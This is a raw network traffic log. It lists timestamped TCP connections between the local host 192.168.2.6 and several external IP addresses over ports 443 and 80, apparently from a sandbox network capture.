Dec 4, 2024 16:15:51.111979961 CET	443	49829	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:51.113265991 CET	49829	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:51.113286972 CET	443	49829	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:51.113723040 CET	49829	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:51.113725901 CET	443	49829	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:51.331116915 CET	443	49830	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:51.331644058 CET	49830	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:51.331666946 CET	443	49830	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:51.332211018 CET	49830	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:51.332216024 CET	443	49830	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:51.439591885 CET	443	49824	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:51.439650059 CET	443	49824	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:51.439743042 CET	49824	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:51.439990044 CET	49824	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:51.440012932 CET	443	49824	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:51.440028906 CET	49824	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:51.440036058 CET	443	49824	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:51.443099022 CET	49834	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:51.443137884 CET	443	49834	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:51.443240881 CET	49834	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:51.443418026 CET	49834	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:51.443432093 CET	443	49834	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:51.551361084 CET	443	49829	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:51.551436901 CET	443	49829	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:51.551543951 CET	49829	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:51.551764965 CET	49829	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:51.551789045 CET	443	49829	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:51.551803112 CET	49829	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:51.551816940 CET	443	49829	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:51.554550886 CET	49835	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:51.554624081 CET	443	49835	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:51.554716110 CET	49835	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:51.554845095 CET	49835	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:51.554867029 CET	443	49835	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:51.767798901 CET	443	49830	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:51.767859936 CET	443	49830	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:51.767966986 CET	49830	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:51.768208027 CET	49830	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:51.768240929 CET	443	49830	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:51.768281937 CET	49830	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:51.768289089 CET	443	49830	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:51.771301031 CET	49836	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:51.771351099 CET	443	49836	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:51.771442890 CET	49836	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:51.771632910 CET	49836	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:51.771645069 CET	443	49836	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:51.869488001 CET	49837	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:51.869555950 CET	443	49837	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:51.869673967 CET	49837	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:51.869929075 CET	49837	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:51.869946003 CET	443	49837	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:51.932472944 CET	443	49832	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:51.932813883 CET	49832	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:51.932837009 CET	443	49832	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:51.933161020 CET	443	49832	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:51.933466911 CET	49832	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:51.933526993 CET	443	49832	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:51.934017897 CET	49832	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:51.979327917 CET	443	49832	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:52.075571060 CET	443	49831	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:52.076057911 CET	49831	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:52.076080084 CET	443	49831	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:52.076524019 CET	49831	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:52.076529980 CET	443	49831	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:52.352132082 CET	443	49833	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:52.352600098 CET	49833	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:52.352627039 CET	443	49833	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:52.353046894 CET	49833	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:52.353051901 CET	443	49833	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:52.512458086 CET	443	49831	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:52.512523890 CET	443	49831	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:52.512610912 CET	49831	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:52.512833118 CET	49831	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:52.512851954 CET	443	49831	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:52.512861967 CET	49831	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:52.512867928 CET	443	49831	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:52.515871048 CET	49838	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:52.515912056 CET	443	49838	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:52.515999079 CET	49838	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:52.516174078 CET	49838	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:52.516191006 CET	443	49838	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:52.920723915 CET	443	49832	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:52.920804024 CET	443	49832	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:52.920872927 CET	49832	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:52.921020985 CET	49832	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:52.921036959 CET	443	49832	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:52.924277067 CET	443	49833	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:52.924349070 CET	443	49833	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:52.924400091 CET	49833	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:52.924654007 CET	49833	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:52.924680948 CET	443	49833	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:52.924695015 CET	49833	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:52.924700975 CET	443	49833	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:52.928430080 CET	49839	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:52.928453922 CET	443	49839	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:52.928524017 CET	49839	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:52.928740025 CET	49839	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:52.928751945 CET	443	49839	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:53.200021029 CET	443	49834	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:53.200841904 CET	49834	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:53.200870991 CET	443	49834	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:53.201510906 CET	49834	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:53.201517105 CET	443	49834	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:53.283768892 CET	443	49835	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:53.284477949 CET	49835	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:53.284516096 CET	443	49835	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:53.284972906 CET	49835	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:53.284979105 CET	443	49835	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:53.516851902 CET	443	49836	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:53.517633915 CET	49836	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:53.517672062 CET	443	49836	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:53.518091917 CET	49836	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:53.518098116 CET	443	49836	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:53.524024010 CET	443	49837	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:53.524358034 CET	49837	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:53.524384975 CET	443	49837	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:53.524730921 CET	443	49837	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:53.525072098 CET	49837	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:53.525218010 CET	443	49837	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:53.570303917 CET	49837	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:53.636042118 CET	443	49834	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:53.636136055 CET	443	49834	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:53.636214018 CET	49834	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:53.636404991 CET	49834	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:53.636419058 CET	443	49834	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:53.639394999 CET	49840	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:53.639452934 CET	443	49840	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:53.639533043 CET	49840	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:53.639677048 CET	49840	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:53.639693022 CET	443	49840	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:53.719615936 CET	443	49835	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:53.719685078 CET	443	49835	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:53.719750881 CET	49835	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:53.720036030 CET	49835	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:53.720063925 CET	443	49835	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:53.720078945 CET	49835	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:53.720084906 CET	443	49835	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:53.723056078 CET	49841	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:53.723103046 CET	443	49841	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:53.723181009 CET	49841	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:53.723339081 CET	49841	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:53.723352909 CET	443	49841	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:53.986267090 CET	443	49836	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:53.986357927 CET	443	49836	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:53.986426115 CET	49836	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:54.077692986 CET	49836	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:54.077738047 CET	443	49836	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:54.085776091 CET	49842	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:54.085825920 CET	443	49842	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:54.085891008 CET	49842	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:54.086489916 CET	49842	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:54.086503983 CET	443	49842	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:54.365613937 CET	443	49838	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:54.366198063 CET	49838	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:54.366229057 CET	443	49838	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:54.366689920 CET	49838	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:54.366694927 CET	443	49838	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:54.460009098 CET	49843	443	192.168.2.6	4.245.163.56
Dec 4, 2024 16:15:54.460052967 CET	443	49843	4.245.163.56	192.168.2.6
Dec 4, 2024 16:15:54.460154057 CET	49843	443	192.168.2.6	4.245.163.56
Dec 4, 2024 16:15:54.460607052 CET	49843	443	192.168.2.6	4.245.163.56
Dec 4, 2024 16:15:54.460618019 CET	443	49843	4.245.163.56	192.168.2.6
Dec 4, 2024 16:15:54.749738932 CET	443	49839	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:54.750360966 CET	49839	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:54.750400066 CET	443	49839	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:54.750909090 CET	49839	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:54.750915051 CET	443	49839	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:54.815918922 CET	443	49838	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:54.815999031 CET	443	49838	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:54.816112995 CET	49838	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:54.816410065 CET	49838	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:54.816435099 CET	443	49838	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:54.816450119 CET	49838	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:54.816454887 CET	443	49838	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:54.820182085 CET	49844	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:54.820223093 CET	443	49844	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:54.820317030 CET	49844	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:54.820501089 CET	49844	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:54.820517063 CET	443	49844	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:55.197624922 CET	443	49839	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:55.197706938 CET	443	49839	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:55.197865009 CET	49839	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:55.198179007 CET	49839	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:55.198201895 CET	443	49839	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:55.198219061 CET	49839	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:55.198225021 CET	443	49839	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:55.201780081 CET	49845	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:55.201836109 CET	443	49845	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:55.201929092 CET	49845	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:55.202105999 CET	49845	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:55.202121973 CET	443	49845	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:55.387048006 CET	443	49840	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:55.388078928 CET	49840	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:55.388118982 CET	443	49840	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:55.388659000 CET	49840	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:55.388673067 CET	443	49840	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:55.486927032 CET	443	49841	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:55.487986088 CET	49841	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:55.488018036 CET	443	49841	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:55.488482952 CET	49841	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:55.488490105 CET	443	49841	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:55.826436996 CET	443	49840	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:55.826514006 CET	443	49840	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:55.826637030 CET	49840	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:55.826947927 CET	49840	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:55.826967955 CET	443	49840	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:55.826981068 CET	49840	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:55.826987028 CET	443	49840	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:55.830671072 CET	49846	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:55.830723047 CET	443	49846	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:55.830817938 CET	49846	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:55.831024885 CET	49846	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:55.831037998 CET	443	49846	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:55.880871058 CET	443	49842	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:55.881570101 CET	49842	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:55.881616116 CET	443	49842	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:55.882080078 CET	49842	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:55.882091045 CET	443	49842	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:55.946561098 CET	443	49841	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:55.946666956 CET	443	49841	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:55.946748972 CET	49841	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:55.947000980 CET	49841	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:55.947021961 CET	443	49841	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:55.947032928 CET	49841	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:55.947038889 CET	443	49841	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:55.950615883 CET	49847	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:55.950656891 CET	443	49847	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:55.950757980 CET	49847	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:55.950948954 CET	49847	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:55.950963974 CET	443	49847	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:56.200391054 CET	443	49843	4.245.163.56	192.168.2.6
Dec 4, 2024 16:15:56.200505972 CET	49843	443	192.168.2.6	4.245.163.56
Dec 4, 2024 16:15:56.202359915 CET	49843	443	192.168.2.6	4.245.163.56
Dec 4, 2024 16:15:56.202368975 CET	443	49843	4.245.163.56	192.168.2.6
Dec 4, 2024 16:15:56.202637911 CET	443	49843	4.245.163.56	192.168.2.6
Dec 4, 2024 16:15:56.211280107 CET	49843	443	192.168.2.6	4.245.163.56
Dec 4, 2024 16:15:56.255356073 CET	443	49843	4.245.163.56	192.168.2.6
Dec 4, 2024 16:15:56.315684080 CET	443	49842	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:56.315773964 CET	443	49842	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:56.315856934 CET	49842	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:56.316137075 CET	49842	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:56.316160917 CET	443	49842	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:56.316173077 CET	49842	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:56.316179037 CET	443	49842	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:56.319375992 CET	49848	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:56.319421053 CET	443	49848	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:56.319497108 CET	49848	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:56.319652081 CET	49848	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:56.319664955 CET	443	49848	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:56.577876091 CET	443	49844	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:56.581104040 CET	49844	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:56.581140041 CET	443	49844	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:56.583952904 CET	49844	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:56.583961010 CET	443	49844	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:56.895363092 CET	443	49843	4.245.163.56	192.168.2.6
Dec 4, 2024 16:15:56.895390034 CET	443	49843	4.245.163.56	192.168.2.6
Dec 4, 2024 16:15:56.895406008 CET	443	49843	4.245.163.56	192.168.2.6
Dec 4, 2024 16:15:56.895513058 CET	49843	443	192.168.2.6	4.245.163.56
Dec 4, 2024 16:15:56.895538092 CET	443	49843	4.245.163.56	192.168.2.6
Dec 4, 2024 16:15:56.895574093 CET	49843	443	192.168.2.6	4.245.163.56
Dec 4, 2024 16:15:56.895605087 CET	49843	443	192.168.2.6	4.245.163.56
Dec 4, 2024 16:15:56.917695045 CET	443	49845	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:56.918317080 CET	49845	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:56.918360949 CET	443	49845	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:56.920254946 CET	49845	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:56.920265913 CET	443	49845	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:56.931976080 CET	443	49843	4.245.163.56	192.168.2.6
Dec 4, 2024 16:15:56.932034016 CET	443	49843	4.245.163.56	192.168.2.6
Dec 4, 2024 16:15:56.932065964 CET	49843	443	192.168.2.6	4.245.163.56
Dec 4, 2024 16:15:56.932097912 CET	443	49843	4.245.163.56	192.168.2.6
Dec 4, 2024 16:15:56.932111025 CET	443	49843	4.245.163.56	192.168.2.6
Dec 4, 2024 16:15:56.932116985 CET	49843	443	192.168.2.6	4.245.163.56
Dec 4, 2024 16:15:56.932166100 CET	49843	443	192.168.2.6	4.245.163.56
Dec 4, 2024 16:15:56.932343960 CET	49843	443	192.168.2.6	4.245.163.56
Dec 4, 2024 16:15:56.932358980 CET	443	49843	4.245.163.56	192.168.2.6
Dec 4, 2024 16:15:56.932369947 CET	49843	443	192.168.2.6	4.245.163.56
Dec 4, 2024 16:15:56.932374954 CET	443	49843	4.245.163.56	192.168.2.6
Dec 4, 2024 16:15:57.018337965 CET	443	49844	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:57.018414021 CET	443	49844	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:57.018462896 CET	49844	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:57.018646955 CET	49844	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:57.018667936 CET	443	49844	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:57.018687963 CET	49844	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:57.018692970 CET	443	49844	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:57.021812916 CET	49849	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:57.021856070 CET	443	49849	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:57.021928072 CET	49849	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:57.022063971 CET	49849	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:57.022072077 CET	443	49849	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:57.039760113 CET	49722	80	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:57.159495115 CET	80	49722	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:57.164753914 CET	49723	80	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:57.284496069 CET	80	49723	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:57.353301048 CET	443	49845	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:57.353378057 CET	443	49845	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:57.353435040 CET	49845	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:57.353648901 CET	49845	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:57.353668928 CET	443	49845	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:57.353694916 CET	49845	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:57.353702068 CET	443	49845	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:57.356483936 CET	49850	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:57.356523991 CET	443	49850	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:57.356576920 CET	49850	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:57.356717110 CET	49850	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:57.356729984 CET	443	49850	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:57.546268940 CET	443	49846	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:57.546860933 CET	49846	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:57.546895027 CET	443	49846	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:57.547332048 CET	49846	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:57.547337055 CET	443	49846	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:57.679362059 CET	443	49847	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:57.679974079 CET	49847	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:57.679996967 CET	443	49847	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:57.680540085 CET	49847	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:57.680545092 CET	443	49847	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:57.981195927 CET	443	49846	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:57.981323957 CET	443	49846	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:57.981497049 CET	49846	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:57.981523991 CET	49846	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:57.981534958 CET	443	49846	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:57.981544971 CET	49846	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:57.981549978 CET	443	49846	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:57.984402895 CET	49851	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:57.984431982 CET	443	49851	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:57.984494925 CET	49851	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:57.984668970 CET	49851	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:57.984683990 CET	443	49851	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:58.053558111 CET	443	49848	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:58.054033041 CET	49848	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:58.054044008 CET	443	49848	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:58.054512978 CET	49848	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:58.054517031 CET	443	49848	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:58.115212917 CET	443	49847	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:58.115279913 CET	443	49847	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:58.115370989 CET	49847	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:58.115559101 CET	49847	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:58.115588903 CET	443	49847	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:58.115602970 CET	49847	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:58.115607977 CET	443	49847	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:58.118696928 CET	49852	443	192.168.2.6	13.107.246.43
